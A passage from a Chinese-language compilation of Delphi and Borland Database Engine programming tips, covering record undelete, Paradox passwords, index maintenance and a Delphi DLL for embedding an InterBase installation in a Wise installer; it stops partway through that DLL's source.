特别对这段源码说明一下，这段源码部分改编自C，已经在上面提到过的环境中测试通过，需要注意的是，数据表必需以独占方式打开，简单的说，就是在设计时将数据表关闭（属性Active=False），在运行时才打开数据表(form_onCreate时Table.Open)，这样才能保证数据表在独占方式下被打开。DbiGetCursorProps（）是一个读取数据表的属性的底层函数调用，返回了大部分通用的数据表属性。Check（）函数可以简单的处理数据库的出错提示和异常处理，如果出现函数调用错误会自动显示出错信息。

说了pack那么与之对应的Undelete也就更要解释了，同样我找到了将软删除的数据恢复的函数，不过这个函数隐藏的更深，连C代码都没有，所以以下的代码完全由我自己摸索出来，仅在上面说到的环境中测试通过。

首先介绍一下相应的底层函数调用：

DBIResult DBIFN DbiUndeleteRecord (hCursor);

这个函数仅有的参数就是关联的数据表的游标，您可以在BDE.int的文件中找到它的声明，但是具体的使用说明含糊不清，到底是恢复当前被删记录还是将数据表内所有被软删除的记录全部恢复？由于缺少相应的代码分析，我参照FoxPro的经验进行了多次实验，在十几种方案的对比下得出了结论，这条函数调用仅仅恢复当前的被软删除的记录。因此必需首先将数据表的游标移动到被删除的记录上，然后调用这条函数，才会有所反应。要知道在默认的情况下，数据库控件是不会将游标移动到被删除的记录上的，所以必需首先将数据表的读写属性修改，打开软删除的属性，使得遍历数据表时可以访问到被标记为删除的记录。下面是一段实现将数据表中所有被软删除的记录恢复的源代码。其它形式的反删除可以参照这段代码。

procedure Ttablepro.undelete;

var

CProps: CurProps;

rslt: DBIResult;

bm:TBookmark;

rp:pRECProps;

begin

Check(DbiGetCursorProps(self.Handle, CProps));//取得数据表的属性

if (StrIComp(CProps.szTableType, szDBASE) <> 0) then//如果不是Dbase或Foxpro则退出

raise EDBEngineError.Create(DBIERR_NOTSUPPORTED);

rslt:=DbiValidateProp(hDBIObj(self.Handle), curSOFTDELETEON, True);

//可否设置软删除？

if (rslt = DBIERR_NONE) then

Check(DbiSetProp(hDBIObj(self.Handle), curSOFTDELETEON, Longint(true)));

//设置为可以软删除

Check(DbiGetCursorProps(self.Handle, CProps));

//更新数据表的属性

if (CProps.bDeletedOn = False) then

raise EDatabaseError.Create('软删除没有设置！');

//取得当前的记录位置

bm:=self.GetBookmark;

//将游标移动到第一个记录以前！Not Table.First!

Check(DbiSetTobegin(self.handle));

//不断移动，直到到数据表的最后记录

while (DBIGETNEXTRECORD(self.handle,dbinolock,nil,nil)=DBIERR_NONE) do

begin

//请关闭Delphi的异常响应，以便执行下面的语句！

try

check(DbiUndeleteRecord(self.Handle));

except

//Do somthing here !

end;

end;

//取回原先记录的位置，重新定位

self.GotoBookmark(bm);

self.FreeBookmark(bm);

self.Refresh;

end;


如何知道Alias所指向的数据库的目录

 下面这段程序, 可以查出某一个 Alias 的目录,不妨可以参考看看:
// Delphi 1.0 取得 Alias 的实际路径
// uses DB, DBTables, DBConsts, DbiTypes, DbiProcs, DbiErrs;
function GetAliasPath(const sAliasName: string): string;
var
szName: array[0..100] of char;
Desc: DBDesc;
wResult: DBIResult;
begin
Result := '';
StrPLCopy(szName, sAliasName, High(szName));
wResult := DbiGetDatabaseDesc(szName, @Desc);
if wResult = DBIERR_NONE then
Result := StrPas(Desc.szPhyName);
end;


给数据库添加口令

procedure AddPassWordToTable(Table: TTable;PassWord:String);
const
RESTRUCTURE_TRUE = WordBool(1);
var
TblDesc: CRTblDesc;
hDb: hDBIDb;
begin
{ Make sure that the table is opened and is exclusive }
if not Table.Active or not Table.Exclusive then
raise EDatabaseError.Create('Table must be opened in exclusive ' +
'mode to add passwords');
{ Initialize the table descriptor }
FillChar(TblDesc, SizeOf(CRTblDesc), #0);
with TblDesc do begin
{ Place the table name in descriptor }
StrPCopy(szTblName, Table.TableName);
{ Place the table type in descriptor }
StrCopy(szTblType, szPARADOX);
{ Master Password, Password }
if PassWord='' then bProtected:=False
else bProtected := RESTRUCTURE_TRUE;
StrPCopy(szPassword, PassWord);
{ Set bProtected to True }
end;
{ Get the database handle from the cursor handle }
Check(DbiGetObjFromObj(hDBIObj(Table.Handle), objDATABASE, hDBIObj(hDb)));
{ Close the table }
Table.Close;

  { Add the master password to the Paradox table }
Check(DbiDoRestructure(hDb, 1, @TblDesc, nil, nil, nil, False));
{ Add
the new password to the session }
Session.AddPassword(PassWord);
{ Re-Open the table }
Table.Open;
end;


动态改变字段的宽度

 tip14待整理


判断BDE是否安装了

1. 读注册表:
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('SOFTWARE\Borland\Database Engine', False);
try
s := ReadString('CONFIGFILE01');

//BDE installed
finally
CloseKey;
end;

2.初始化BDE:

IsBDEExist := (dbiInit(nil) = 0)

下面给出的函数将得到一个SysVersion的结构，并将最后结果写入stringlist中。

代码如下：

uses dbierrs, DBTables;

...

function fDbiGetSysVersion(SysVerList: TStringList): SYSVersion;

var

Month, Day, iHour, iMin, iSec: Word;

Year: SmallInt;

begin

Check(DbiGetSysVersion(Result));

if (SysVerList <> nil) then

begin

with SysVerList do

begin

Clear;

Add(Format('数据引擎版本号=%d', [Result.iVersion]));

Add(Format('接口级=%d', [Result.iIntfLevel]));

Check(DbiDateDecode(Result.dateVer, Month, Day, Year));

Add(Format('版本日期=%s', [DateToStr(EncodeDate

(Year, Month, Day))]));

Check(DbiTimeDecode(Result.timeVer, iHour, iMin, iSec));

Add(Format('版本时间=%s', [TimeToStr(EncodeTime

(iHour, iMin, iSec div 1000, iSec div 100))]));

end;

end;

end;

下面是对该函数的调用方法:

var hStrList: TStringList;

Ver: SYSVersion;

begin

hStrList:= TStringList.Create;

try Ver := fDbiGetSysVersion(hStrList); except

ShowMessage('BDE not installed !');

end;

ShowMessage(IntToStr(Ver.iVersion));

Memo1.Lines.Assign(hStrList);

hStrList.Destroy;

end;

下面是可能显示的结果：

数据引擎版本号=500

接口级=500

版本日期=09.06.98

版本时间=17:06:13


用BDE取索引列表

来自：wrench, 时间：2001-4-8 23:48:35, ID：487373

近日写程序 碰到如下代码

try

Check(DbiOpenIndexList(ADatabase.Handle, PChar(ATableName), nil, hIdxList));

except

DbiCloseCursor(hIdxList);

Exit;

end;

while DbiGetNextRecord(hIdxList, DbiNoLock, @IndexDesc, nil) <> DbiErr_Eof do

with IndexDesc do

if FindFieldInIndex then // 如果在索引中找到当前字段

begin

if bPrimary then

IsPrimaryKey := True; // 主关键字

if iFldsInKey = 1 then // 索引中只包含当前字段, 因此认为当前字段是唯一

IsUnique := True;

end;

DbiCloseCursor(hIdxList);

用以查找主关键字

这段程序 对SQL Server里面确总是不能取到索引列表

我跟了一天，没有找到问题所在。

后来无奈之下，重新取看帮助发现这么一段

For SQL databases, this parameter can be a fully qualified name that includes the owner name.

原来一定要加owner的表名才可以用 如dbo.tablename

贴出来 算给大家提个醒


维护Paradox数据表的索引

---- 在 数 据 库 编 程 中, 索 引 文 件 对 于 改 善 数 据 查 询 速 度 有 着 举 足 轻 重 的 作 用, 充 分 使 用 索 引 文 件 可 以 极 大 改 善 数 据 库 应 用 程 序 的 性 能, 这 一 点 恐 怕 是 难 以 否 认 的.

---- 在 应 用 过 程 中, 用 户 的 查 询 条 件 可 能 是 多 种 多 样 的, 如 果 能 根 据 用 户 查 询 建 立 和 选 择 索 引, 对 于 保 证 应 用 程 序 的 性 能, 无 疑 是 很 有 帮 助 的.

---- 另 外, 由 于 停 电 等 意 外 事 故 很 容 易 造 成 数 据 库 中 的 索 引 文 件 未 及 时 更 新 甚 至 于 损 坏, 此 时 如 果 应 用 程 序 再 出 几 个 错 误 信 息, 无 疑 将 使 用 户 的 处 境 雪 上 加 霜.

---- 因 而, 动 态 维 护 数 据 库 索 引 文 件, 将 使 你 的 数 据 库 应 用 程 序 更 有 稳 定 性 和 可 靠 性. 笔 者 将 以Delphi 编 程 中 常 用 的Paradox 数 据 库 为 例, 介 绍 数 据 库 索 引 文 件 的 动 态 维 护.

---- Paradox 数 据 表 索 引 分 为 主 索 引(Primary Index) 即 关 键 字(Primary Key) 索 引 和 次 索 引(Secondary Index), 其 中 主 索 引 对 应.PX 文 件, 次 索 引 对 应.XG* 和.YG* 文 件.

一. 创 建 表 索 引
---- (1) 用Table.AddIndex 来 实 现
---- 方 法:AddIndex( IndexName,FieldNames,Options )
---- 其 中:( 详 见Delphi 帮 助)
---- IndexName: 索 引 名 称, 仅 在 指 定 次 索 引 时 有 作 用.
---- FieldNames: 索 引 域, 可 指 定 多 个 域, 各 域 之 间 用 分 号 隔 开, 如'Field1;Field2;Field3'
---- Options: 索 引 选 项, 可 为[ixPrimary, ixUnique, ixDescending, ixCaseInsensitive, ixExpression]
---- 其 中:
---- ixPrimary : 建 立 的 索 引 为 主 索 引( 不 适 用 于dBase 数 据 表).
---- ixUnique : 不 允 许 重 复 值 的 索 引.
---- ixDescending: 按 降 序 索 引.
---- ixCaseInsensitive: 索 引 排 序 时 按 忽 略 大 小 写( 不 适 用 于dBase 数 据 表).
---- ixExpression: 建 立 表 达 式 索 引( 适 用 于Delphi3.0, 仅 适 用 于dBase 数 据 表).
---- ixNonMaintained: 是 否 不 需 要BDE 自 动 维 护( 适 用 于Delphi1.0).

---- 下 面 是 一 个 例 子:

---- 假 设 有 一 个 存 放 通 讯 录 数 据 表MyComm.DB( 类 型 为Paradox) 存 放 于 本 地 目 录d:\mynote 下, 现 建 立 一 个 主 索 引( 索 引 域 为 编 号ID) 和 一 个 次 索 引( 索 引 域 为 编 号ID 和 姓 名Name, 索 引 名 称 为NameIndex).

  with table1 do
begin
close;
Exclusive := true;
DatabaseName :=
'd:\MyNote';
TableName := 'MyComm.DB';
Open;

{建立主索引 }
AddIndex('','ID',[ixPrimary]);

{建立次索引 }
AddIndex('NameIndex','ID;Name',[]);

close;
end;

(2)用SQL来实现
对Paradox数据表来说,用SQL只能建立次索引.
在SQL语法中,用来建立索引的语句是:
Create Index IndexName On TableName
(IndexField1,IndexField2,..)
其中:
IndexName为一个次索引的名称,如MySecIndex1等.
TableName为对应数据表的名称,如MyTable等.
TableName后面为索引域列表,所有索引域有圆括号括起来,
各索引域之间用逗号隔开.

---- 下 面 是 一 个 例 子:

---- 假 设 有 一 个 存 放 通 讯 录 数 据 表MyComm.DB( 类 型 为Paradox) 存 放 于 本 地 目 录

---- d:\mynote 下, 现 建 立 一 个 次 索 引( 索 引 域 为 编 号ID 和 姓 名Name, 索 引 名 称 为NameIndex).

with query1 do
begin
close;
DatabaseName := 'd:\MyNote';

{建立次索引NameIndex}
sql.clear;
sql.add( 'Create Index
NameIndex On MyComm(ID,Name)' );
execSql;
end;

二. 删 除 表 索 引
---- (1) 用Table.DeleteIndex 来 实 现
---- DeleteIndex 只 能 删 除 次 索 引 名 称.
---- 方 法:DeleteIndex( IndexName )
---- 其 中:( 详 见Delphi 帮 助)
---- IndexName: 次 索 引 名 称.

---- 下 面 是 一 个 例 子:

---- 假 设 有 一 个 存 放 通 讯 录 数 据 表MyComm.DB( 类 型 为Paradox) 存 放 于 本 地 目 录

---- d:\mynote 下, 现 有 一 个 次 索 引( 索 引 域 为 编 号ID 和 姓 名Name, 索 引 名 称 为NameIndex), 将 删 除 之.

  with table1 do
begin
close;
Exclusive := true;
DatabaseName :=
'd:\MyNote';
TableName := 'MyComm.DB';
Open;

{删除次索引}
DeleteIndex('NameIndex');

close;
end;

---- (2) 用SQL 来 实 现
---- 在SQL 语 法 中, 用 来 删 除 索 引 的 语 句 是:
---- Drop Index TableName.IndexName
---- 要 删 除 次 索 引 时,IndexName 为 一 个 次 索 引 的 名 称, 如'MyTable.MySecIndex1' 等.
---- 要 删 除 主 索 引 时,IndexName 为'primary', 如'MyTable.primary'; 值 得 注 意 的 是, 在 删 除 主 索 引 成 功 后, 数 据 表 的 所 有 次 索 引 也 自 动 删 除.

---- 下 面 是 一 个 例 子:
---- 假 设 有 一 个 存 放 通 讯 录 数 据 表MyComm.DB( 类 型 为Paradox) 存 放 于 本 地 目 录
---- d:\mynote 下, 已 定 义 一 个 主 索 引( 索 引 域 为 编 号ID) 和 一 个 次 索 引( 索 引 域 为 编 号ID 和 姓 名Name, 索 引 名 称 为NameIndex).
---- 现 在 因 为 索 引 损 坏, 要 删 除 索 引, 以 便 重 新 索 引.

with query1 do
begin
close;
DatabaseName := 'd:\MyNote';

{删除次索引NameIndex }
sql.clear;
sql.add( 'Drop Index MyComm.NameIndex' );
execSql;

   {删除主索引
}
sql.clear;
sql.add(
'Drop Index MyComm.Primary'
);
execSql;
end;

三. 注 意 事 项:
---- (1) 在 索 引 更 改 时, 应 保 证 对 应 的 数 据 表 可 以 以 独 占 方 式(Exclusive=true) 打 开, 否 则 会 引 起 错 误.
---- (2) 上 述 方 法 略 加 修 改 后, 也 可 用 于dBase,Oracle 等 其 它 数 据 库 的 数 据 表.
---- (3) 如 果 需 要 重 新 对 索 引 文 件 进 行 索 引, 请 参 考BDE 的Dbi 函 数 说 明:
---- RegenIndex, RegenIndexes.


向SQL SERVER中添加二进制数据

 stringstream1 := TStringStream.create('');
bmp1.savetostream(stringstream1);
query1.params[1].asblob := stringstream1.datastring;
jpeg1.savetostream(stringstream1);
query1.params[2].asblob := stringstream1.datastring;
query1.executesql;
stringstream1.free;


在Wise制作的安装程序中嵌入Interbase安装

构件下载：

http://www.algonet.se/~flysjo/interbase/files/ibwise.zip

以下是一个例子演示如何在Wise中嵌入Interbase的安装，安装Interbase时使用到了IBINSTALL.DLL。

工作原理

---------------------------------

WISE InstallBuilder以及WISE Solutions公司出品的其它安装制作工具，可以在安装的过程中调用DLL文件。

下面是一个调用IBWISE.DLL的例子，这个DLL是用Delphi写的(代码在后面)，它读取WISE变量并将它们传送给IBINSTALL.DLL(由Interbase提供)。

IBINSTALL.DLL来完成实际的Interbase的安装，而IBWISE.DLL则对安装过程进行封装，包括选项设置、错误处理和进度显示。

IBWISE.DLL同样也将所有从IBINSTALL.DLL返回的状态消息传送给WISE。

想得到更多关于WISE或Borland Interbase的信息，可以查看本文最后的“更多信息”部分。

在WISE脚本中需要做的事情

------------------------------------------

IBWISE.DLL需要WISE的变量，确保它们在IBWISE.DLL调用前已被WISE设置为正确值。

在这些变量中，字符串变量IBINSTALLMODE(将被IBWISE.DLL读取并用于控制Interbase安装)可以设置为R和/或者S。

R = 安装后启动(运行)Interbase服务器

S = 安静安装方式(将不会有进度窗口)

例如： 将变量 IBINSTALLMODE 设置为 RS

(以安静方式安装Interbase，并在安装完成后启动Interbase服务器)

IBOPTIONS (可选) 字符串类型, 设置此变量以控制Interbase的哪些部分需要安装

[空] = 全部Interbase文件

A = IB_SERVER

B = IB_CLIENT

C = IB_CMD_TOOLS

D = IB_CMD_TOOLS_DB_MGMT

E = IB_CMD_TOOLS_USR_MGMT

F = IB_CMD_TOOLS_DB_QUERY

G = IB_GUI_TOOLS

H = IB_DOC

I = IB_EXAMPLES

J = IB_EXAMPLE_API

K = IB_EXAMPLE_DB

L = IB_DEV

M = IB_REPLICATION

N = IB_REPL_MANAGER

O = IB_REPL_SERVER

P = IB_CONNECTIVITY

Q = IB_ODBC_CLIENT

R = IB_JDBC

S = IB_JDBC_CLIENT

T = IB_JDBC_SERVER

例如： 将变量 IBOPTIONS 设置为 AB

(安装Interbase服务器和客户端文件)

IBSRCDIR 字符串，Interbase源文件路径，通常是一个临时目录，WISE在安装过程中将文件解压到这个目录中。

IBDESTDIR (可选项) 字符串，Interbase安装的目的路径，如果为空，则 Interbase将会安装到缺省目录中。

输出变量 (由IBWISE.DLL使用并将结果返回给WISE )

IBUIFILE 字符串，IBUNINST.EXE需要使用的卸载文件。

IBSTATUS 字符串，如果安装不成功，则包含错误信息；如果安装过程没有错误发生，则包含"Success"。

以下示例演示如果设置这些变量，解压Interbase源文件并安装。

将以下编码复制到你的WISE脚本中。

(不要忘记修改Interbase文件的源路径)

item: Open/Close INSTALL.LOG

Flags=00000001

end

item: Create Directory

Pathname=%TEMP%\INTERBASE\

end

item: Install File

Source=C:\install\InterBaseServer\*.*

Destination=%TEMP%\INTERBASE\

Flags=0000000110100010

end

item: Install File

Source=C:\install\IBWISE\Ibwise.dll

Destination=%TEMP%\INTERBASE\Ibwise.dll

Flags=0000000010100010

end

item: Open/Close INSTALL.LOG

end

item: Set Variable

Variable=IBINSTALLMODE

Value=R

end

item: Set Variable

Variable=IBOPTIONS

Value=A

end

item: Set Variable

Variable=IBSRCDIR

Value=%TEMP%\INTERBASE\

end

item: Call DLL Function

Pathname=%TEMP%\INTERBASE\IBWISE.DLL

Function Name=InstallInterbase

Variables Added=IBUIFILE,IBSTATUS

Return Variable=0

Flags=00000100

end

item: Open/Close INSTALL.LOG

Flags=00000001

end

item: Delete File

Pathname=%TEMP%\INTERBASE

Flags=00000100

end

item: Open/Close INSTALL.LOG

end

--------------------------------------------------------------------------------

IBWISE.DLL的源代码(Delphi)

以下编码是Borland Delphi编写，编译生成IBWISE.DLL。

这里是全部源程序

IBWISE.DPR

library IBWISE;

uses

SysUtils,

Classes,

IBWiseUnit in 'IBWiseUnit.pas',

StatusFormUnit in 'StatusFormUnit.pas' {StatusForm};

exports

InstallInterbase,

GetIBInstallDir;

{$R *.RES}

begin

end.

IBWiseUnit.pas

unit IBWiseUnit;

//——————————————————————————————————————————————————

// WISE InstallIBServer version 1.1 by Magnus Flysj?

// flysjo@algonet.se

// Copyright 2001, Magnus Flysj?

//——————————————————————————————————————————————————

interface

uses WinTypes, WinProcs, SysUtils, WinSvc;

//—[Wise]——————————————————————————————————————————————

Type

ParamRec = record

wStructLen: DWORD; { The length of the structure }

hMainWnd: HWND; { Handle to main window }

wMaxReplaces: DWORD; { Maximum number of replaces }

wRepNameWidth: DWORD; { The width of a replace name }

wRepStrWidth: DWORD; { The width of each replace string }

wCurrReps: DWORD; { Current number of replace strings }

szRepName: PChar; { The actual replace names }

szRepStr: PChar; { The actual replace values }

wRunMode: DWORD; { The installation mode }

fLogFile: DWORD; { A file handle to the log file }

szParam: PChar; { String parameter from Wise Installation System }

end;

//—[Interbase]—————————————————————————————————————

OPTIONS_HANDLE = Integer;

POPTIONS_HANDLE = ^OPTIONS_HANDLE;

MSG_NO = Longint;

OPT = Longint;

TEXT = PChar;

FP_ERROR = function(msg: MSG_NO; data: Pointer; error_msg: TEXT): Integer; stdcall;

FP_STATUS = function(status: integer; data: Pointer; const status_msg: TEXT): Integer; stdcall;

TIsc_install_clear_options = function (pHandle: POPTIONS_HANDLE):MSG_NO; stdcall;

TIsc_install_execute = function (Handle: OPTIONS_HANDLE; src_dir, dest_dir: TEXT;status_func:FP_STATUS;

status_data: Pointer;error_func: FP_ERROR; error_data: Pointer;uninstal_file_name: TEXT):MSG_NO; stdcall;

TIsc_install_get_info = function (info_type :integer; option :OPT; info_buffer : Pointer;buf_len : Cardinal):

MSG_NO; stdcall;

TIsc_install_get_message = function (Handle: OPTIONS_HANDLE; message_no: MSG_NO;message_txt: Pointer;

message_len: Cardinal):MSG_NO; stdcall;

TIsc_install_load_external_text = function (msg_file_name: TEXT):MSG_NO; stdcall;

TIsc_install_precheck = function (Handle: OPTIONS_HANDLE; src_dir, dest_dir: TEXT): MSG_NO; stdcall;

TIsc_install_set_option = function (pHandle: POPTIONS_HANDLE; option: OPT): MSG_NO; stdcall;

TIsc_uninstall_execute = function (uninstall_file_name: TEXT; status_func: FP_STATUS;status_data: pointer;

error_func: FP_ERROR; error_data: pointer): MSG_NO; stdcall;

TIsc_uninstall_precheck = function (uninstall_file_name: TEXT):MSG_NO; stdcall;

TIsc_install_unset_option = function (pHandle: POPTIONS_HANDLE; option: OPT):MSG_NO; stdcall;

const

IB_INSTALL_DLL = 'ibinstall.dll';

{ These are the values the FP_ERROR routine can return. }

isc_install_fp_retry = -1;

isc_install_fp_continue = 0;

isc_install_fp_abort = 1;

{ isc_install_get_info info_types }

isc_install_info_destination = 1;

isc_install_info_opspace = 2;

isc_install_info_opname = 3;

isc_install_info_opdescription = 4;

ISC_INSTALL_MAX_MESSAGE_LEN = 300;

ISC_INSTALL_MAX_MESSAGES = 200;

ISC_INSTALL_MAX_PATH = MAX_PATH;

{ Basic Components used to install InterBase }

INTERBASE = 1000;

IB_SERVER = 1001;

IB_CLIENT = 1002;

IB_CMD_TOOLS = 1003;

IB_CMD_TOOLS_DB_MGMT = 1004;

IB_CMD_TOOLS_USR_MGMT = 1005;

IB_CMD_TOOLS_DB_QUERY = 1006;

IB_GUI_TOOLS = 1007;

IB_DOC = 1011;

IB_EXAMPLES = 1012;

IB_EXAMPLE_API = 1013;

IB_EXAMPLE_DB = 1014;

IB_DEV = 1015;

IB_REPLICATION = 1016;

IB_REPL_MANAGER = 1017;

IB_REPL_SERVER = 1018;

IB_CONNECTIVITY = 1101;

IB_ODBC_CLIENT = 1102;

IB_JDBC = 1110;

IB_JDBC_CLIENT = 1103;

IB_JDBC_SERVER = 1105;

{ Error and warning codes }

isc_install_optlist_empty = -1;

isc_install_actlist_empty = -2;

isc_install_fp_copy_delayed = -3;

isc_install_fp_delete_delayed = -4;

isc_install_option_not_found = -5;

isc_install_msg_version = -6;

isc_install_cant_load_msg = -7;

isc_install_invalid_msg = -8;

isc_install_invalid_tbl = -9;

isc_install_cant_create_msg = -10;

isc_install_handle_not_allocated = -11;

isc_install_odbc_comp_notfound = -12;

isc_install_cant_delete = -13;

isc_install_cant_rmdir = -14;

isc_install_key_nonempty = -15;

isc_install_success = 0;

{ File and directory related errors }

isc_install_path_not_valid = 1;

isc_install_path_not_exists = 2;

isc_install_cant_write = 3;

isc_install_type_unknown = 4;

isc_install_cant_move_file = 5;

isc_install_device_not_valid = 6;

isc_install_data_truncated = 7;

isc_install_cant_get_temp = 8;

isc_install_no_file = 9;

isc_install_cant_load_lib = 10;

isc_install_cant_lookup_lib = 11;

isc_install_file_exists = 12;

isc_install_cant_open_log = 13;

isc_install_write_error = 14;

isc_install_read_error = 15;

isc_install_invalid_log = 16;

isc_install_cant_read = 17;

isc_install_no_diskspace = 18;

isc_install_cant_create_dir = 19;

isc_install_msg_syntax = 20;

isc_install_fp_delete_error = 21;

isc_install_fp_rename_error = 22;

isc_install_fp_copy_error = 23;

{ Precheck related errors }

isc_install_system_not_supported = 24;

isc_install_server_running = 25;

isc_install_classic_found = 26;

isc_install_no_privileges = 27;

isc_install_cant_get_free_space = 28;

isc_install_guardian_running = 29;

isc_install_invalid_option = 30;

isc_install_invalid_handle = 31;

isc_install_message_not_found = 32;

{ TCP/IP services related }

isc_install_no_stack = 33;

isc_install_cant_add_service = 34;

isc_install_invalid_port = 35;

isc_install_invalid_service = 36;

isc_install_no_proto = 37;

isc_install_no_services_entry = 38;

isc_install_sock_error = 39;

isc_install_conversion_error = 40;

{ Operations errors }

isc_install_cant_copy = 41;

isc_install_no_mem = 42;

isc_install_queue_failed = 43;

isc_install_invalid_param = 44;

isc_install_fp_error_exception = 45;

isc_install_fp_status_exception = 46;

isc_install_user_aborted = 47;

{ Registry related errors }

isc_install_key_exists = 48;

isc_install_cant_create_key = 49;

isc_install_cant_set_value = 50;

isc_install_cant_open_key = 51;

isc_install_cant_delete_key = 52;

isc_install_cant_query_key = 53;

isc_install_cant_delete_value = 54;

{ OS services related errors }

isc_install_service_existed = 55;

isc_install_cant_create_service = 56;

isc_install_cant_open_service = 57;

isc_install_cant_query_service = 58;

isc_install_service_running = 59;

isc_install_cant_delete_service = 60;

isc_install_cant_open_manager = 61;

isc_install_system_error = 62;

isc_install_com_regfail = 63;

isc_install_dcom_required = 64;

{ ODBC installation errors }

isc_install_odbc_general = 65;

isc_install_core_version = 66;

isc_install_drv_version = 67;

isc_install_tran_version = 68;

//———————————————————————————————————————————————————————

type

TIBWiseInstall = class;

TIBInstallOption = ( opINTERBASE, opIB_SERVER, opIB_CLIENT, opIB_CMD_TOOLS,

opIB_CMD_TOOLS_DB_MGMT, opIB_CMD_TOOLS_USR_MGMT,

opIB_CMD_TOOLS_DB_QUERY, opIB_GUI_TOOLS, opIB_DOC,

opIB_EXAMPLES, opIB_EXAMPLE_API, opIB_EXAMPLE_DB,

opIB_DEV, opIB_REPLICATION, opIB_REPL_MANAGER,

opIB_REPL_SERVER, opIB_CONNECTIVITY, opIB_ODBC_CLIENT,

opIB_JDBC, opIB_JDBC_CLIENT, opIB_JDBC_SERVER );

TIBInstallOptions = set of TIBInstallOption;

TIBInstallError = function(Handle : HWND; Caller : TIBWiseInstall; Msg: Longint;Error_msg: string; var Handled : boolean) : integer;

TIBInstallStatus = procedure(Handle : HWND; Caller : TIBWiseInstall;Status : integer; const Status_msg : string);

TIBWiseInstall = class(TObject)

constructor Create;

destructor Destroy; override;

private

FDLLInst : HInst;

Isc_install_clear_options : TIsc_install_clear_options;

Isc_install_execute : TIsc_install_execute;

Isc_install_get_info : TIsc_install_get_info;

Isc_install_get_message : TIsc_install_get_message;

Isc_install_load_external_text : TIsc_install_load_external_text;

Isc_install_precheck : TIsc_install_precheck;

Isc_install_set_option : TIsc_install_set_option;

Isc_uninstall_execute : TIsc_uninstall_execute;

Isc_uninstall_precheck : TIsc_uninstall_precheck;

Isc_install_unset_option : TIsc_install_unset_option;

FDestDirectory : string;

FSourceDirectory : string;

FIBHandle : POPTIONS_HANDLE;

FHWND : HWND;

FIBInstallOptions : TIBInstallOptions;

FIBInstallError : TIBInstallError;

FIBInstallStatus : TIBInstallStatus;

FLastError : MSG_NO;

FStartAfterInstall : boolean;

FUninstallFile : string;

FSilent : boolean;

procedure SetOptions;

public

function Install : boolean;

function PreCheck : boolean;

function GetErrorDescription(Error : MSG_NO) : string;

property WindowHandle : HWND read FHWND write FHWND;

property UninstallFile : string read FUninstallFile;

property Silent : boolean read FSilent write FSilent;

property StartAfterInstall : boolean read FStartAfterInstall write FStartAfterInstall;

property LastError : MSG_NO read FLastError;

property DestDirectory : string read FDestDirectory write FDestDirectory;

property SourceDirectory : string read FSourceDirectory write FSourceDirectory;

property IBInstallOptions : TIBInstallOptions read FIBInstallOptions write FIBInstallOptions;

property OnInstallError : TIBInstallError read FIBInstallError write FIBInstallError;

property OnInstallStatus : TIBInstallStatus read FIBInstallStatus write FIBInstallStatus;

end;

//—————————————————————————————————————————————————

procedure GetVariable(var DLLParams: ParamRec; const VarName: string; var VarValue: string); export;

procedure SetVariable(var DLLParams: ParamRec; const VarName: string; const NewValue: string); export;

function InstallInterbase(var DLLParams: ParamRec): LongBool; pascal; export;

function GetIBInstallDir(var DLLParams: ParamRec): LongBool; pascal; export;

var DLLHandle : HInst;

implementation

uses Registry, ErrorFormUnit, StatusFormUnit;

//——————————————————————————————————————————————————————————————————————————————

function FixPath(path : string) : string;

begin

if IsPathDelimiter(Path,length(path)) then result := path else result := path + '\';

end;

function GetFileVersion(filename : string; var VerBlk : VS_FIXEDFILEINFO) : boolean;

var InfoSize,puLen : DWord;

Pt,InfoPtr : Pointer;

begin

InfoSize := GetFileVersionInfoSize(PChar(filename),puLen);

fillchar(VerBlk,sizeof(VS_FIXEDFILEINFO),0);

if InfoSize > 0 then begin

GetMem(Pt,InfoSize);

GetFileVersionInfo(PChar(filename),0,InfoSize,Pt);

VerQueryValue(Pt,'\',InfoPtr,puLen);

move(InfoPtr^,VerBlk,sizeof(VS_FIXEDFILEINFO));

FreeMem(Pt);

result := true;

end else result := false;

end;

function IsNT : boolean;

var osv : TOSVERSIONINFO;

begin

fillchar(osv,sizeof(TOSVERSIONINFO),0);

osv.dwOSVersionInfoSize := sizeof(TOSVERSIONINFO);

GetVersionEx(osv);

if (osv.dwPlatformId = VER_PLATFORM_WIN32_NT) then result := true else result := false;

end;

function ServiceStart(sMachine, sService : string ) : boolean;

var schm, schs : SC_Handle;

ss : TServiceStatus;

psTemp : PChar;

dwChkP : DWord;

begin

ss.dwCurrentState := 0;

schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);

if(schm > 0)then begin

schs := OpenService(schm,PChar(sService),SERVICE_START or SERVICE_QUERY_STATUS);

if (schs > 0) then begin

psTemp := Nil;

if (StartService(schs,0,psTemp)) then begin

if (QueryServiceStatus(schs,ss)) then begin

while (SERVICE_RUNNING <> ss.dwCurrentState) do begin

dwChkP := ss.dwCheckPoint;

Sleep(ss.dwWaitHint);

if (not QueryServiceStatus(schs,ss)) then begin

break;

end;

if (ss.dwCheckPoint < dwChkP) then begin

break;

end;

end;

end;

end;

CloseServiceHandle(schs);

end;

CloseServiceHandle(schm);

end;

Result := SERVICE_RUNNING = ss.dwCurrentState;

end;

function ServiceStop(sMachine, sService : string ) : boolean;

var schm, schs : SC_Handle;

ss : TServiceStatus;

dwChkP : DWord;

begin

schm := OpenSCManager(PChar(sMachine),Nil,SC_MANAGER_CONNECT);

if(schm > 0)then begin

schs := OpenService(schm,PChar(sService),SERVICE_STOP or SERVICE_QUERY_STATUS);

if(schs > 0)then begin

if (ControlService(schs,SERVICE_CONTROL_STOP,ss)) then begin

if (QueryServiceStatus(schs,ss)) then begin

while (SERVICE_STOPPED <> ss.dwCurrentState) do begin

dwChkP := ss.dwCheckPoint;

Sleep(ss.dwWaitHint);

if (not QueryServiceStatus(schs,ss))then begin

break;

end;

if (ss.dwCheckPoint < dwChkP) then begin

break;

end;

end;

end;

end;

CloseServiceHandle(schs);

end;

CloseServiceHandle(schm);

end;

Result := (SERVICE_STOPPED = ss.dwCurrentState);

end;

function GetInterbaseServerDirectory : string;

var Filename : string;

Reg : TRegistry;

begin

Filename := '';

Reg := TRegistry.Create(KEY_READ);

try

Reg.RootKey := HKEY_LOCAL_MACHINE;

if Reg.KeyExists('Software\InterBase Corp\InterBase\CurrentVersion') then begin

if Reg.OpenKeyReadOnly('Software\InterBase Corp\InterBase\CurrentVersion') then begin

Filename := FixPath(Reg.ReadString('ServerDirectory'))+'ibguard.exe';

Reg.CloseKey;

end;

end else begin

if Reg.KeyExists('Software\Borland\InterBase\CurrentVersion') then begin

